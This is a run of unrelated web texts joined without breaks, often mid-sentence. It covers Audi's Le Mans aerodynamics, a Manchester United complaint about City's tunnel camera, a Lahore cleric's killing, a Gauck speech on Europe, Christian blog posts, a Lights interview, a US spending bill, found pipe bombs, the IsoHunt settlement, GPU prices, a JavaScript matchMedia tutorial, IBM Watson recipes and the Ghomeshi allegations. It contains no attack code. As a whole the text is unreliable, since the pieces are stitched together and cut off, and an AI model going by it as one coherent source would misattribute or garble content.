(red). The narrower rear end means that the rear wing endplates (blue) have found a new mounting point and feature a sculpted lower trailing edge, rather than the straight trailing edge the HD configuration features.Rear end images of the R18 LD configuration are a little thin on the ground at this stage but once I get hold of some I may update this post.The changes made by Audi ahead of Le Mans are about reducing drag, however, they weren't particularly slow through the tighter, twistier middle sector in Spa and so clearly weren't giving up huge chunks of downforce, relative to the opposition. Efficiency is the name of the game at the end of the day and so it appears they have been able to retain similar levels of downforce for less drag, making the package ideal for Le Mans.United fury over City's tunnel cam as Old Trafford club raise intrusion concerns
Manchester United are unhappy after video of players and officials in the tunnel at last month’s derby at the Etihad Stadium was released by Manchester City.
United feel that the 15-minute film which appeared on City’s website two days after the Premier League champions were crushed 4-1 was intrusive. They have written to the Premier League to raise their concerns and ask for clarification over the use of a ‘tunnel cam’.
VIDEO Scroll down to watch Manchester City's tunnel cam
Flashpoint: Manchester United veteran Ryan Giggs can be seen having a go at fourth official Michael Oliver
Manager David Moyes is understood to have demanded privacy when it focused on his exclusive after-match interview with United’s own television station.
The camera shows Ryan Giggs pursuing fourth official Michael Oliver towards the dressing-rooms at half-time, moments after Yaya Toure had scored City’s second goal.
It later emerged from other sources that the United player-coach, who was unhappy at some challenges by City defender Matija Nastasic in the first half, told Oliver ‘get a grip of him, man up and do your job’ – although the incident is believed to have been edited out of the tunnel cam coverage by City’s website department to avoid controversy.
Downbeat: David Moyes skulks down the tunnel at half-time
Safe hands: Manchester United keeper David De Gea gives playful slap to fellow Spaniard Alvaro Negredo
Although there is no suggestion that Giggs could face any action, United are understood to have inquired about whether video evidence like this could be used in a disciplinary hearing.
They are uncomfortable that an area of the stadium that for many years was largely free of the prying eyes of the media and fans should be filmed and footage then placed in the public domain.
City became the first Premier League club to use a tunnel cam and post the video on their website when it was introduced more than three years ago, and it has proved very popular with fans.
Derby disaster: Moyes holds his head in his hands during the 4-1 defeat to City in the derby in September
Other teams have since followed suit with the Premier League encouraging clubs to offer more behind-the-scenes insight to supporters.A prominent Shia cleric has been shot dead in the Pakistani city of Lahore, sparking an outcry from members of the city's Shia community.
Gunmen on a motorbike killed Allama Nasir Abbas late on Sunday night as he was going home in his car after a religious gathering, police say.
No group has said it carried out the attack on the cleric.
Member's of Lahore's Shia community have been staging a sit-in at the governor's home to express their rage.
Pakistan has witnessed a rising tide of sectarian violence in recent years with a number of attacks targeting Shias in south-western Balochistan province as well as the southern city of Karachi.
Correspondents say Lahore has seen fewer sectarian attacks but there have several in recent months.
This killing comes 10 days after Shamsur Rahman, the leader of a Sunni organisation ASWJ, known for its harsh views against Shia Muslims, was gunned down in Lahore.When it comes to the European Union, many in Germany and around the 27-member club think first and foremost of mind-numbing bureaucracy in Brussels and the never-ending crisis facing the Continent's common currency. Citizens feel powerless, helpless and oftentimes ignored.
Such were the sentiments that German President Joachim Gauck acknowledged right at the beginning of his highly anticipated keynote address on Europe, delivered on Friday in Berlin. It was the first major speech of his 11-month-old presidency, and it comes at a time when euro-skepticism is widespread -- most notably in Britain, but also in Germany and across the EU.
Gauck, though, quickly moved on from the laundry list of complaints that are often directed at Brussels and from the fears felt by those countries in crisis. In the rest of the speech, he delivered an eloquent and passionate defense of the European idea.
"We can travel from the Neman (River) to the Atlantic and from Finland to Sicily without at any point having to dig out a passport," he said. "We can use one and the same currency across much of Europe, and we buy Spanish shoes and Czech cars without paying extra customs charges. In a very positive way, more Europe has become part of our everyday lives."
Gauck, who, like Chancellor Angela Merkel, spent his formative years in the former East Germany, was quick to call for "more Europe" when he was first sworn in last March, following the ignominious resignation of his predecessor, Christian Wulff. But Friday marked the first time he provided greater insight into his vision of Europe. First and foremost, he said, Europe needed to develop a common identity.
A Source of Identity
"It is still hard to pinpoint what it is that makes us European, what it means to have a European identity," he said, before attempting to provide a solution to the riddle. "Europe does have a source of identity: an essentially timeless canon of values which unites us at two different levels, both in our profession of respect for them and in the action we take to uphold them."
Gauck is particularly well-liked in Germany. As a pastor in East Germany, he became a leading member of the New Forum, a citizens' movement that ultimately played a key role in the GDR's rapid switch from communism to democracy after the Berlin Wall fell in 1989. Gauck also became the first head of the authority tasked with managing the files collected by the Stasi, East Germany's secret police. In his current position, Gauck holds no political power, but German presidents have traditionally been viewed as representing the conscience of the nation.
On Friday, Gauck seemed well aware of the attention that would be paid to his speech. "European identity is not about excluding those who are different," he said. "Rather, European identity grows out of our deepening cooperation and the conviction of those who say we want to be part of this community because we share common values. More Europe means making diversity more genuinely part of our lives and allowing it to unite us."
The German president noted the difficulties currently facing the EU and warned that further integration is needed in terms of financial and economic policy as well as foreign and defense issues. When it comes to the need for reform, he said, "We are in the midst of this discussion, not at the end" and urged that "We must prevent anyone being driven into the arms of populists and nationalists by uncertainty or fear."
A European Germany
It quickly became clear where Gauck believes disillusionment poses the greatest threat to Europe. Toward the end of his speech, he made a direct appeal to the United Kingdom to remain in the European Union. "Dear people of England, Scotland, Wales and Northern Ireland, dear new British citizens! We would like you to stay with us!" he said. "During the Second World War, your efforts helped to save our Europe -- and it is also your Europe. More Europe cannot mean a Europe without you!"
Finally, Gauck addressed the skepticism toward Germany that has become widespread in Europe as the euro crisis has progressed, particularly in those countries laboring under onerous austerity programs. "I want to assure all citizens of neighboring countries that I cannot imagine any of Germany's policymakers seeking to impose a German diktat," Gauck said. "It is my heartfelt conviction that, in Germany, more Euorpe does not mean a German Europe. For us, more Europe means a European Germany."
Gauck received a standing ovation at the end of his speech. And then he quickly left the stage.You can listen here or download the podcast from iTunes or Stitcher Matthew 4:19 19 And he said to them, “Follow me, and I will make you fishers of men.”I can sometimes be a poor communicator, and I very often find myself using analogies to try and get my point across. That’s something that I appreciate so much about the way Christ taught. He was always using different examples to teach not only the people who were hearing Him, but also people who would be reading His words for thousands of years, in different cultures, and languages, and understandings.One of His analogies I was thinking about recently was being fishers of men.The thing about fishing is you can’t do it anywhere. You have to actively decide to go to where the fish are; you are most likely not going to accidently catch a fish if you haven’t already gone to the water. So, if we are to be fishers of men, we need to be willing to have a presence where they are. It seems like everyday there are more and more reasons c…The Universus
It’s been a thrilling ride for fans of Canada’s Lights. Since her debut as an unstoppable force on the airwaves of Myspace, Lights exploded into nothing short of a phenomenon. The Synth-pop sensibilities of her earlier work gave way to Siberia, and it was overwhelmingly clear Lights had outgrown the label of ‘Myspace Artist’.
Towards the end of September, Lights pulled back the sheet on her new album Skin&Earth, a concept album released in conjunction with a comic book series detailing the exploits of the protagonist Captain Lights. The content contained within the project was meticulous, thoughtful and essentially, very goddamn cool. With soulful, but crushing depths mixed in with thumping, dreamy highs, it’s obvious that with Skin&Earth, Lights is in her arena.
We caught up with Lights post-release to learn more about the project.
The Neversphere: There’s so much going on with the album, the release and the comic book. I’d love to know, when you sat down in the war room to discuss the album, what were some of the ‘boxes’ you wanted it to ‘tick’ for want of a better term?
Lights: At the brass tacks of it, I just wanted to make a comic album. I wanted to make something that tied with a comic, something that had a story and a greater purpose, and a mixed multimedia project because I know that’s something that’s going to happen more often, so I wanted to be one of the first ones to do it; because I love it so much! I love comics, I love the medium, I love the ability to tell stories and hide Easter eggs. Obviously, I love music, I’ve been doing it for a long time, I was looking for a fresh perspective. This other character allowed me to sing and say things that I never felt I could before. Suddenly, it became this conduit for this authentic side of myself that’s been buried for a while.
I wanted to prove myself that I could do it. So, I wrote this whole damn comic, I’m still finishing Issue #6 right now, there’s 6 in total, the first 4 are out. It’s been such an awesome journey. It’s been mind blowing pulling it all together, seeing it all happen and people resonate with the character. I’m seeing people in cosplay at shows. Every day feels like a dream.
The Neversphere: Good to hear you’re enjoying it, can go either way…Either artists can’t wait to do a multimedia album release, or they describe it as the most horrible experience of their career…
Lights: [Laughs] I don’t think I could ever not do something mixed-media now. I just loved the multifaceted aspect of the whole project. In this day and age, listeners and fans of music also want to augment their listening experience. If there’s visuals that go with it that interpret colour palettes, in tactile form, or bring up an authentic visual for what the song is about, I think that brings a lot more depth and dimension to music. People are more ready for that than ever.
Another part of the thinking going into it was ‘Nobody’s dumb‘…I think there’s this mass perspective that people are dumb or something? But no, people are smart and like being challenged. But also, if comics aren’t your thing the music stands on its own. If you’re not into the music, the comic stands on its own. They’re stand-alone items, which isn’t something I expected to happen but as the project progressed, it did. But, when you listen to them together and you do want to put that amount of energy into it and you do care that much about the project, you can start to connect the dots and suddenly it’s this amazing, augmented experience.
The Neversphere: One of my takeaways from the experience was just how unique the music is to the comic, and vice versa. Was it challenging to create these things simultaneously but as free-standing entities?
Lights: It definitely was challenging but I’ve never had more fun with my record I’ll tell you that right now. Before I even started writing, I had this idea for a story and it was separated into 12 parts. That’s when I knew what the 12 songs were going to be…I went into every songwriting session saying, ‘This is the part of the story we’re writing today, this is what happens, this is the mood you need to capture and this is what it needs to sound like…‘ It really cut out all the meandering time at the beginning of a songwriting session where you’re trying to figure out what you want to say. None of that existed, we just launched into pure creativity.
I think that the people I was writing with really appreciated it too, because nobody goes in with a storyline in mind, you know? It just established a really creative environment and it was fun! I had so much fun doing it. All the ideas for the songs started to come together and influence the visuals I had in mind for the comics. I’d close my eyes, listen to the song and determine what colour palette I’d use for that chapter because when I close my eyes and hear a song, I see colours and a lot of other people do too. It was just so fulfilling. To balance my creativity between these two mediums was super emotionally healthy for me, because when I got tired of one medium I could move to the next. It kept me really balanced.
The Neversphere: Thematically, I feel the album sways from having fangs one moment to being completely delicate the next. In my opinion, a good example would be the flux and flow between Savage and New Fears. What themes did you find were interesting you when you started writing the album?
Lights: A cool thing about creating a comic counterpart is that you’re able to discuss things that are important to you without preaching too hard. There were a few things I wanted to talk about that I was enabled to by the comic. One underlying theme of the whole album is mental health. I’ve dealt with depression in the past. So many people deal with emotional vices and addictions or whatever it may be. God knows I’ve gone through my share of things. It’s something we need to talk about more and that become the meaning of it all.
Long story short, it’s about a woman who becomes entranced with this dark friend who almost becomes her lover, and she has to overcome it. That is the ultimate metaphor for any kind of vice, really. The story became this massive, beautiful metaphor for this idea and as the story builds, other ideas and commentaries work their way in one of them being the environment. The story takes place in the last city on Earth after the apocalypse happened; we don’t want the world to get to that point. There’s commentary on corporate greed, and how they keep taking and taking even though it’s the last of what they’ll be given. It was a cool opportunity to talk about things that matter.
The Neversphere: The commentary on mental health I think is really important and more artists need to do that. Now that you’ve spent time studying it as an underlying theme of the album what did you learn about mental health at the end of the album process?
Lights: Obviously, I’ve made my own progressions and discoveries through my journey in order to get to a place where I’m about to talk about it. That became the biggest discovery; that you have to recognise where you’re struggling. A lot of people choose to push it out or choose to believe it exists. This is a present being. It’s a living thing as obvious as cancer and we need to understand its existence. I think that’s the first in any kind of recovery for anything. It’s a living being that you’re confronting.
The Neversphere: You’ve only been here once before, with The Jezebels but I can tell you now there’s a worthy legion of Lights followers in Australia, when are you coming back?
Lights: This is a good question! I know I’ll be there. It’s just so damn far. It’s an expensive place to get to and unless you know what it’s going to be like at shows it’s hard for agents to commit to booking there, that’s the reality of it. But once we get there and start seeing what it’s like – because I really don’t know, I’ve never headlined a show there – but that’s my dream, man! I’d love to get out there and see what it’s like and do my own show, that’s my dream. I really want to.
I know I’m going to be there. I know it. I will say, my single Giants has been translated into 4 languages so hopefully it goes to all the corners of the world.
The Neversphere: Well if you hit Japan or South East Asia you’re in the neighbourhood! You may as well just swing by….
Lights: That’s my plan…
…That’s my insidious plan.I’m 23, I just graduated from university, and I’m single.
Many of my friends are married, and a few are starting to have children. And I feel as if I just graduated from high school again. You could say my life is in transition. And it’s true; I am in the middle of shifting myself from university to the career world. But I’ve started to wonder about whether it’s right to refer to my singleness as an in-between stage.
What exactly am I in-between again?
“It’s the first day of the rest of my life.” I recently I heard someone on TV say this about her wedding day, and it really bothered me. While I don’t want to discount the gift of marriage, I must say I’m a bit confused and frustrated with this sentiment. I’ve heard the cliché before, but I suddenly felt the weight of it. As if it equates marriage as the start of life, or at least the good part.
Don’t misunderstand my frustration; I think there is a beautiful element of starting a new family with your spouse. I’m all for godly marriage. But what I’m afraid of is viewing life through the lens of marriage as the goal. For waiting to get married before life starts.
I’m afraid, because I’m afraid it has happened to me. I’ve been living like I’m waiting for someone to get here. And it isn’t Jesus.
I’ve wasted my time, my energy, and my emotions on this concept that singleness is just a waiting room for a relationship. I’m tired of this view that my life begins when I wake up next to my husband, because I’m pretty sure my life began 23 years ago when my mom gave birth. And this mentality has robbed my joy.
As much as I’d like to place all the blame on Christian culture, the perpetual “Have you met anyone yet?” question the world asks me, and the reality that my Facebook feed looks more like a Pinterest wedding board these days, I am convicted of my own failures.
I’ve been living like God owes me something. Like he hasn’t held up his end of the deal. He has given me the desire for relationship and marriage, and he just hasn’t followed through.
I’ve been living under the impression that I deserve a relationship.
I’d be lying if I said Christian culture does much to inhibit this mentality. There seems to be a deep understanding and appreciation for the gift of marriage, but not so much for the gift of singleness (if it’s treated like a gift at all). Rather, singleness is something to be cured. Like I’ve got a disease, and introducing me to your single friend might perhaps cure us both. Singleness is the lump of coal, the gift that is never on your Christmas list.
There are at least a handful of us standing around, wondering what happened. (After all, I have been pretty nice this year.)
But it’s never been about being entitled, or even about being nice. I have to stop thinking that I’m doing something wrong here.
Well actually I am, but it isn’t about fixing something that will magically make a boyfriend appear. It is about changing the direction of my heart.
“I’d rather have the right God than the wrong man.” –- Christen Rapske
People talk all the time about pursuing people or things for the wrong reasons, but maybe we pursue God for the wrong reasons. Maybe subconsciously I’ve been treating God like he’s a vending machine. And my pursuit of him has really been a pursuit of someone else.
When did Christ cease to be enough?
And when did I stop finding my identity, self-worth, and fulfillment in Him, only to place my life on hold for someone I’ve never even met?
Each day is a gift, and I’m not waiting for it to get here. It is present in every moment, and it begins anew daily. Man-less or not, I want to wake up every morning and be excited because I get to spend my day with the God who created the universe.
And I want to do that for the rest of my life.
Flickr photo by Acy VarlanWASHINGTON — Congress cleared a $1.1 trillion spending bill for President Barack Obama’s signature after a day of Senate intrigue capped by a failed, largely symbolic Republican challenge to the administration’s new immigration policy.
The vote late Saturday night was 56-40 in favor of the measure, which funds nearly the entire government through the Sept. 30 end of the fiscal year. It also charts a new course for selected shaky pension plans covering more than 1 million retirees, including the possibility of benefit cuts.
The Senate passed the bill on a day Democrats launched a drive to confirm two dozen of Obama’s stalled nominees to the federal bench and administration posts, before their majority expires at year’s end.
Several Republicans blamed tea party-backed Texas Sen. Ted Cruz for giving the outgoing majority party an opportunity to seek approval for presidential appointees, including some that are long-stalled.
It was Cruz who pushed the Senate to cast its first vote on the administration’s policy of suspending the threat of deportation for an estimated four million immigrants living in the country illegally. He lost his attempt Saturday night, 74-22, although Republican leaders have vowed to bring the issue back after the party takes control of the Senate in January.
“If you believe President Obama’s amnesty is unconstitutional, vote yes. If you believe President Obama’s amnesty is consistent with the Constitution, vote no,” he said.
Senate Majority Leader Harry Reid rebutted instantly, saying Cruz was “wrong, wrong, wrong on several counts,” and even Republicans who oppose Obama’s policy abandoned the Texan.
The spending bill, which cleared the House on Thursday, was the main item left on Congress’ year-end agenda, and exposed fissures within both political parties in both houses.
It faced opposition from Democratic liberals upset about the repeal of a banking regulation and Republican conservatives unhappy that it failed to challenge Obama’s immigration moves.
While the legislation assures funding for nearly the entire government until next fall, it made an exception of the Department of Homeland Security. Money for the agency will run out on Feb. 27, when Republicans intend to try and force the president to roll back an immigration policy that removes the threat of deportation from millions of immigrants living in the United States illegally.
The legislation locks in spending levels negotiated in recent years between Republicans and Democrats, and includes a number of provisions that reflect the priorities of one party or the other, from the environment to abortion to the legalization of marijuana in the District of Columbia.
One, which drew vehement objections from the Democrats, would repeal a regulation imposed on banks in the wake of the near economic collapse of 2008. Critics called it a bailout for large financial institutions, but more than 70 House Democrats voted for it previously, and Obama made clear he didn’t view it as a deal-killer.
The pension provision was a bipartisan agreement that opens the door for the first time to benefit cuts for current retirees covered by multi-employer funds in shaky financial condition.
Supporters said it would protect retirement income to the maximum extent possible without also endangering the solvency of the government fund that guarantees multi-employer plans. Critics said it posed a threat to the pension recipients, and that it could also become a precedent for other pensioners.
Immigration was at the heart of the day’s events in the Senate.
Cruz seized on the issue late Friday night when he tried to challenge the bill. That led swiftly to the unraveling of an informal bipartisan agreement to give the Senate the weekend off, with a vote on final passage of the bill deferred until early this coming week.
That, in turn, led Reid, D-Nev., to call an all-day Senate session devoted almost exclusively to beginning time-consuming work on confirmation for 13 judicial appointees and 11 nominees to administration posts.
The list included Carolyn Colvin to head the Social Security Administration and Vivek Murthy as surgeon general.
As the day wore on, senators were forced to spend hour after hour on the Senate floor to cast their votes. One, Sen. Mary Landrieu, D-La., sat at her desk quietly for awhile reading a book.
By evening, cocktail hour in the East, strains of Christmas carols could be heard from behind the closed doors of rooms that surround the chamber.
Republicans tried to slow the nomination proceedings, but several voiced unhappiness with Cruz, a potential presidential candidate in 2016.
“I’ve seen this movie before, and I wouldn’t pay money to see it again,” said Sen. Johnny Isakson, R-Ga., recalling Cruz’ leading role a year ago in events precipitating a 16-day partial government shutdown that briefly sent GOP poll ratings plummeting.
Cruz, in turn, blamed Reid, saying his “last act as majority leader is to, once again, act as an enabler” for the president by blocking a vote on Obama’s policy that envisions work visas for an estimated 5 million immigrants living in the country illegally.
Reid blamed a “small group of Senate Republicans” for the turn of events.
Asked if Cruz had created an opening for the Democrats, Sen. Orrin Hatch, R-Utah said, “I wish you hadn’t pointed that out.”
Hatch added, “You should have an end goal in sight if you’re going to do these types of things and I don’t see an end goal other than irritating a lot of people.”
The GOP leader, Kentucky Sen. Mitch McConnell, made no public comment on the events, even though Cruz suggested Friday night McConnell and House Speaker John Boehner, R-Ohio, should not be entirely trusted to keep their pledge to challenge Obama’s immigration policy.
“We will learn soon enough if those statements are genuine and sincere,” Cruz said.A Licking County woman discovered three pipe bombs this morning in an apartment behind her house.
A Licking County woman discovered three pipe bombs in an apartment behind her house yesterday morning.
Portia Rose, 65, discovered the explosives while cleaning the rental unit behind6487 Watkins Rd. SW, just east of Pataskala, after previous tenants had moved out.
The Licking County sheriff�s office responded and called the bomb squad from the Franklin County sheriff�s office for assistance. Federal agents from the FBI, the Bureau of Alcohol, Tobacco, Firearms and Explosives, and the U.S. Marshals Service also were called.
The bombs were removed from the apartment and detonated in a safe area about noon. There were no injuries or damage.
�According to the bomb squad... they were pipe bombs, about three-eighths of an inch in diameter, about4 inches long,� said Capt. Dave Starling of the Licking County sheriff�s office.
Later in the day, a former tenant was found. He told deputies that he had made the pipe bombs when he was a juvenile, about 10 years ago. He said he had no intention of harming anyone. No charges have been filed.
elyttle@dispatch.com
@ewlyttleThe Motion Picture Association of America has announced that it has reached a settlement with the operators of IsoHunt, one of the larger BitTorrent indexers, which in its heyday was handling several million torrents for some 7.5 million unique visitors.
After being sued by Hollywood studios for massive copyright infringement, IsoHunt will now shutter, according to the terms of the deal, and the parties have jointly asked a California federal court to enter a judgment of $110 million against the defendants. The settlement also is said to include a global prohibition against founder Gary Fung further profiting from the infringement of MPAA member studio content.
EARLIER: Studio Fight Against IsoHunt Gets Trial Date
“Today’s settlement is a major step forward in realizing the enormous potential of the Internet as a platform for legitimate commerce and innovation,” said former Sen. Chris Dodd, chairman and chief executive of the MPAA. “It also sends a strong message that those who build businesses around encouraging, enabling and helping others to commit copyright infringement are themselves infringers, and will be held accountable for their illegal actions.”
The development comes in advance of a scheduled trial date next month; the MPAA had been aiming to collect hundreds of millions of dollars in damages.
It also occurs after a ruling last March by the 9th Circuit Court of Appeals to affirm the liability of IsoHunt for inducing users to infringe plaintiffs’ copyrighted material through the trading of popular movies and TV shows. The plaintiffs, led by Columbia Pictures, originally submitted 44 infringed works, but later said there were thousands of movies and TV shows being infringed by IsoHunt. The appeals court rejected Fung's contention that his service was just indexing what was out there, saying it had “red flag” knowledge of a broad range of infringing activity.
IsoHunt's lawyers declined comment.
The settlement likely will mean the end of the company, which is currently ranked as the 426th most-visited website on the Internet, according to Alexa.com.
E-mail: Eriq.Gardner@THR.com
Twitter: @eriqgardnerA tool of serious gamers – and Bitcoin miners
If you recently assembled a new PC and bought hardware parts (like I did) you must’ve noticed how expensive GPUs were now. Most popular cards like Nvidia GeForce 1050-1080 series in just last few months became not only much more expensive, but even hard to get in some online stores. Factories, mostly located in China or Taiwan, had trouble coping with demand, because of many orders worldwide, but especially from China and Russia. But this is now coming to an end, with recent closing of Chinese exchanges, decrease in cryptocurrencies prices and even possible ban on Bitcoin mining in China. At least we’ll finally get inexpensive computer parts from Aliexpress!
Why crypto miners need graphics card?
They need it to process their blockchain. Graphics cards can process immense amounts of data, much more than CPUs. Though normally used for gaming, computer containing fast enough GPU can be setup by use of software such as cgminer as a cryptocurrency mining equipment. This also requires free or very cheap energy, because if you try to mine it in your home, cost of energy would surpass potential earnings, as each mining computer need at least 100-120W for work and you need a big cluster of these station to effectively mine cryptos. And Chinese have all of this, mostly using free energy from solar cell farms to power their stations. Take a look at the movie below if you are interested how this works:
So what happens next?
Chinese market became flooded with GPUs and as computer hardware portal Chip Hell, prices in online stores in China already fell by 30%. Additionaly, there are a lot of offers Graphics Cards offers on “Chinese eBay” – Taobao, where sellers try to sell their used hardware. Be wary though, and don’t treat this as an opportunity to buy such used card. These GPUs are worn out from constant 24/7 h work, often with overclocking (which means rising GPU voltage and clock frequency above suggested levels) to get even fastest mining. Such card could have an empty cooling tank, because of cooling liquid leakage, spent fan ball bearings, worn-out capacitors and will work unstable, leading to random resets, decrease in performance or even total breakdown – so it’s garbage.
We can expect further drop in GPU prices – which will at last go back to normal levels. Chinese now are planning to ban mining too, and want to shutdown entire cryptocurrency economy and they will succeed, possibly breaking crypto bubble worldwide. That is most significant signal that Bitcoin bubble is coming to an end, than this sudden drop in price in miners’ tools and no amount of puffed up buzzwords containing “blockchain conferences”, “proof of stake announcements” and “hashrate upgrades” will change this.Brass tacks: A demo and some code.
window.matchMedia provides a way for Javascript to react when a media query condition is met or unmet. While the functionality it allows is great, the necessary code duplication required to use it leaves a bit to be desired. I'm going to walk through a work-in-progress approach to getting around that duplication.
window.matchMedia
The method is simple enough to use and works the way you'd expect it. You give it a media query string it gives you back a MediaQueryList object.
var mql = window.matchMedia("(min-width: 480px)");
That sets the value of mql to a MediaQueryList object with two members, something like:
MediaQueryList: { matches: true, media: "(min-width: 480px)" }
The boolean value of the matches member will be determined by the width of your browser window at the time.
You can add event listeners to MediaQueryList objects. An event will fire each time the condition is triggered. This allows you to be updated on the status of the media query without having to resort to polling or a window.resize event. Using mql from above we can set up a listener and handler like so:
mql.addListener(handleMediaChange); handleMediaChange(mql); var handleMediaChange = function (mediaQueryList) { if (mediaQueryList.matches) { // The browser window is at least 480px wide } else { // The browser window is less than 480px wide } }
You can find similar code examples and further explanation of MatchMedia on the Mozilla Developer Network
MatchMedia works pretty well. As usual there are some caveats that I'll mention later. My issue is with needing to specify the media query when you create the MediaQueryList. If you wanted an event to fire for every media query you might have, you'd have manually copy each from your stylesheets to you JS. Every time you update a media query in CSS, you'd have to do the same in JS. What I want is a script to look at a page's stylesheets, pick out all the media queries and create a MediaQueryList for each one.
Getting Media Queries from CSS to JS
When I first started looking into this I thought I was in for some really hairy stuff. I imagined myself having to make ajax requests to fetch stylesheets, use weird regexes to find the @media rules, and employ other types of not-so-fun things. Luckily, this did not turn out to be the case.
I've written small script that accomplishes the tasks I'm after, mqEvents.js is on Github and a working example is at tylergaw.github.com/media-query-events.
(function () { var mqEvents = function (mediaChangeHandler) { var sheets = document.styleSheets, numSheets = sheets.length, mqls = {}, mediaChange = function (mql) { console.log(mql); } if (mediaChangeHandler) { mediaChange = mediaChangeHandler; } for (var i = 0; i < numSheets; i += 1) { var rules = sheets[i].cssRules, numRules = rules.length; for (var j = 0; j < numRules; j += 1) { if (rules[j].constructor === CSSMediaRule) { mqls['mql' + j] = window.matchMedia(rules[j].media.mediaText); mqls['mql' + j].addListener(mediaChange); mediaChange(mqls['mql' + j]); } } } } window.mqEvents = mqEvents; }());
I'm |
, it can help you with recipe ideas. I had a few things in the kitchen, but I didn't know what to make with them — ground turkey, frozen peas, dried mushrooms, canned tomatoes. I live in San Francisco, so it's easy to get Asian and Mexican spices.
Enlarge this image toggle caption Courtesy of IBM Courtesy of IBM
I sent an email to Watson and a couple of days later, the recipes arrived in my inbox. Watson sent three recipes for ground turkey and another for Mexican green pea pancakes. I picked one of the taco recipes and decided to make the pancakes.
The ingredients Watson chose were surprising. For example, the tacos called for grated citrus peel.
Though Watson can't taste the recipes it churns out, it has an understanding of the chemistry behind taste. It understands what we humans enjoy and why, says Steven Abrams, an engineer with The Watson Group.
"If you can understand what's in an actual ingredient," Abrams says, "so what is in butter, what's in strawberries, what's in chocolate. What are the key flavor compounds that give them those pleasant sensations? Then, you can make predictions about what's going to be pleasant, what's going to be sweet and spicy and salty and savory."
A great chef uses her personal knowledge and intuition to do this, he says. But a human chef has her limits, especially when faced with certain constraints. Like if she is cooking for someone on a special diet, or if there is a shortage of certain foods.
"It might be that you want to improve the fat content or the calorie content," Abrams says, "and it might be that what you want to do is focus less on certain fishes that may be overfished or may be endangered and instead trade in other fishes."
And it isn't just engineers like Abrams who are excited about Watson. The supercomputer is collaborating with the Institute of Culinary Education in New York.
Enlarge this image toggle caption Laura Sydell/NPR Laura Sydell/NPR
James Briscione, the institute's director of culinary development, says among the recipes they've developed with Watson is Vietnamese apple kebab. He says Watson surprised them with an unusual flavor combination for the dish.
"Chicken, pork, mushrooms, strawberries and apples all share this one flavor compound," Briscione says. The chemical compound "gamma-Dodecalactone [is] shared by all five ingredients and it makes them a really fascinating match," he says.
Briscione says the dish is a hit.
As for my Watson dishes, I invited my colleague Aarti Shahani over for lunch to taste them.
She enjoyed the tacos and noted the interesting addition of the citrus. The Mexican pancakes are made from grated potato, flour and dried mushrooms, and then there's a sauce that uses the peas to pour over it.
Aarti liked the addition of the mushrooms to the pancakes, but, in the end, both she and I felt something was missing.
"I mean it's not fine dining for sure, and that's not about the cook," Aarti said.
Computers don't normally synthesize information and create things from scratch. That's a major leap, says Sean Gourley, the founder and CEO of the data analytics company Quid.
"We're all sort of familiar with this idea of, 'I can recommend a book for you to read,' or 'I can recommend a song to listen to,' " Gourley says. "But this seems quite different from, 'Let me create a new kind of recipe. Let me create a new combination of foods that will be novel and tasty.' "
Most important, Gourley says being able to access vast amounts of data about food could change how we cook and eat.
"We've only been kind of at this whole agricultural cooking game for, you know, a few thousand years, right?" Gourley says. "And we've only explored a small piece of it. So with computers helping us, perhaps there's a whole lot more to uncover."
As for me, when I said goodbye to Aarti after lunch, only one thing went through my mind. When will Watson be able to do the dishes?Eight women from across Canada now accuse former CBC host Jian Ghomeshi of abusive behaviour ranging from allegations of beating and choking without consent, to workplace sexual harassment. The allegations the Star is probing range from 2002 to the present. One of the women, popular Canadian television actor Lucy DeCoutere, has agreed to be identified. DeCoutere, who plays Lucy on Trailer Park Boys, recalls an incident in 2003 when she alleges Ghomeshi, without warning or consent, choked her to the point she could not breathe and then slapped her hard three times on the side of her head. “He did not ask if I was into it. It was never a question. It was shocking to me. The men I have spent time with are loving people,” said DeCoutere, who, when she is not acting on the television show, is a captain in the Royal Canadian Air Force in New Brunswick.
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Ghomeshi, 47, was fired Sunday from his job as host of Q, a flagship radio show of the publicly funded broadcaster. Ghomeshi has alleged in a lawsuit filed the next day that CBC made a “moral judgment” that his practice of a bondage-sadism sex life was wrong. He is suing the CBC for $55 million for defamation and breach of trust and the corporation has said it will “vigorously” defend itself against Ghomeshi’s lawsuit. The Star has presented Ghomeshi, his lawyers and his public relations staff with the allegations in this story and they have yet to respond. He met some of the women during his 2012 tour to promote 1982, his best- selling memoir about a year in high school in Thornhill. Others he met at film festivals, at music or CBC events, or at the CBC workplace. Two of the women who allege they were physically assaulted also say that before the alleged assaults in his home he introduced them to Big Ears Teddy, a stuffed bear, and he turned the bear around just before he slapped or choked them, saying that “Big Ears Teddy shouldn’t see this.”
One of the new women to come forward is a woman in her mid-20s who was a CBC producer in Montreal who dreamed of being on Q. He met her at one of his book signings. Ghomeshi allegedly took her to his hotel room, threw her against the wall and was very “forceful” with her. She said she performed oral sex “to get out of there.” The woman, who still works in the media but not at CBC, said she decided not to complain about his behaviour because she feared he was too powerful. “I felt like Jian was CBC god,” she told the Star in an interview. She is the second CBC woman to come forward with allegations of sexual harassment by Ghomeshi. The CBC has announced they are investigating the first case, where Ghomeshi allegedly told a CBC staffer he wanted to “hate f---” her. Generally, the stories the women have told the Star describe a man obsessed with his image and power, and someone who they say has little or no respect for barriers. Over the course of the Star’s investigation, women who say they were victimized said they did not feel comfortable putting their name to the allegations. Some say they feared retaliation from Ghomeshi, online harassment and a negative impact on their careers.
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DeCoutere said it was time for someone to speak publicly about the matter. She first met Ghomeshi at a barbecue at a Banff television festival in 2003. They chatted and, in time, she visited Toronto and they had dinner at a restaurant on the Danforth. She recalls him telling her how famous he was and “how lucky you are to be with me.” They went back to his house in Riverdale. DeCoutere said they began making out and then she alleges he pushed her against the wall, choked her with his hands around her neck and then slapped her three times. “That was something I had never experienced before,” DeCoutere said. She left his house shortly after that in a taxi. “It did not escalate; it stopped,” she said. In addition to her work as an actor, DeCoutere is a captain in the air force and a training development officer, ensuring that people in the service are receiving appropriate training. What follows are seven more cases that, including DeCoutere’s allegations, bring to eight the total number of women who have come forward with stories of abuse. Of these eight stories, four were included in the Star’s original story published on Monday. Four of the women have come forward this week. Ghomeshi, in a Facebook posting Sunday evening, wrote in an emotional statement that he has “done nothing wrong.” He said it is not unusual for him to engage in “adventurous forms of sex that included role-play, dominance and submission.” However, he said it has always been consensual. His lawyers echoed this in the statement of claim filed as part of his lawsuit. In his posting, Ghomeshi writes: “Let me be the first to say that my tastes in the bedroom may not be palatable to some folks. They may be strange, enticing, weird, normal, or outright offensive to others.... But that is my private life.... And no one, and certainly no employer, should have dominion over what people do consensually in their private life.” In 2002, Ghomeshi, then 35, was the host of Play, a culture and arts television show on CBC 